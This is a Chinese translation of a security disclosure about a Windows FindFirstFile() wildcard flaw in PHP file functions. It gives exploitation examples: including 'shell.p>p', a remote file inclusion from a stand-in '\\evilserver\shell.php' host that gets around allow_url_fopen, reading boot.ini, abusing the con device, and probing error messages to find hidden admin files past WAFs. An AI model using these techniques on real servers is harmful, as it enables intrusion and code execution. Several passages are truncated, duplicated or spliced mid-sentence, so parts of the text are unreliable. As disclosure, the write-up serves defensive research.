1.开场白
此次所披露的是以下网页中提出的问题所取得的测试结果:
已知1.php存在,以上脚本访问的结果是:
1.php1.php1.ph
都能得到返回。
前两种能返回结果是总所周知的(因为windows的文件系统支持大小的互转的机制),另外的两种返回引起了我们的注意。
测试php版本:php4.9,php5.2,php5.3,php6.0
测试系统:winxp sp3 x32,winxp sp2 x64,win7,win2k3
经测试我们得出的结论是:该漏洞影响所有的windows+php版本
2.深入探查模糊测试的结果
为了继续深入探查关于该bug的信息,我们对demo做了些许修改:
在调试php解释器的过程中,我们将此“神奇”的漏洞归结为一个winapi 函数findfirstfile()所产生的结果((v=vs.85).aspx).更好玩的是,当跟踪函数调用栈的过程中我们发现字符”>”被替换成”?”,字符”但是此bug至今未被任何windows旗下所发行的任何版本修复!
我们要阐明的是,该函数findfirstfile()在php下的运用远远不至于file_get_contents().关于该bug可以利用的函数我们已经列了如下一表:
此外,我们还发现该利用也可以被运用到c++中,以下采用来自msdn的例子:
#include #include #include void _tmain(int argc, tchar *argv[]){win32_find_data findfiledata;handle hfind;if( argc != 2 ){_tprintf(text(usage: %s [target_file]\n), argv[0]);return;}_tprintf (text(target file is %s\n), argv[1]);hfind = findfirstfile(argv[1], &findfiledata);if (hfind == invalid_handle_value){printf (findfirstfile failed (%d)\n, getlasterror());return;}else{_tprintf (text(the first file found is %s\n),findfiledata.cfilename);findclose(hfind);}}
当传入参数”c:\bo
3.利用方法总结
当调用findfirstfile()函数时,”example:include(‘shell当调用findfirstfile()函数时,”>”被替换成”?”,这意味这”>”可以替换单个任意字符
example:include(‘shell.p>p'); //当文件中超过一个以shell.p?p 通配时,该执行取按字母表排序后的第一个文件。
当调用findfirstfile()函数时,”””(双引号)被替换成”.”
example:include(‘shell”php'); //===>include(‘shell.php');
如果文件名第一个字符是”.”的话,读取时可以忽略之
example:fopen(‘.htacess'); //==>fopen(‘htacess'); //加上第一点中的利用 ==>fopen(‘h文件名末尾可以加上一系列的/或者\的合集,你也可以在/或者\中间加上.字符,只要确保最后一位为”.”
example:fopen(“config.ini\\.// \/\/\/.”);==> fopen(‘config.ini\./.\.'); ==>fopen(‘config.ini/////.')==>fopen(‘config.ini…..') //译者注:此处的利用我不是很理解,有何作用?截断?
该函数也可以调用以”\\”打头的网络共享文件,当然这会耗费不短的时间。补充一点,如果共享名不存在时,该文件操作将会额外耗费4秒钟的时间,并可能触发时间响应机制以及max_execution_time抛错。所幸的是,该利用可以用来绕过allow_url_fopen=off 并最终导致一个rfi(远程文件包含)
example:include (‘\\evilserver\shell.php');
用以下方法还可以切换文件的盘名
include(‘\\.\c:\my\file.php\..\..\..\d:\anotherfile.php');
选择磁盘命名语法可以用来绕过斜线字符过滤
file_get_contents(‘c:boot.ini'); //==> file_get_contents (‘c:/boot.ini');
在php的命令行环境下(php.exe),关于系统保留名文件的利用细节
example:file_get_contents(‘c:/tmp/con.jpg'); //此举将会无休无止地从con设备读取0字节,直到遇到eof
example:file_put_contents(‘c:/tmp/con.jpg',chr(0×07)); //此举将会不断地使服务器发出类似哔哔的声音
4.更深入的利用方法
除了以上已经展示的方法,你可以用下面的姿势来绕过waf或者文件名过滤
请思考该例:
访问test.php?a=../a可能出现两种结果
warning: include(/images/../a
如果是第一种情况,说明不存在a打头的文件,第二种则存在。
此外,有记录显示,有时网站会抛出如下错误:
warning: include(/admin_h1d3) [function.include]: failed to open stream: permission denied..
这说明该文件夹下存在一个以上以a打头的文件(夹),并且第一个就是admin_h1d3。
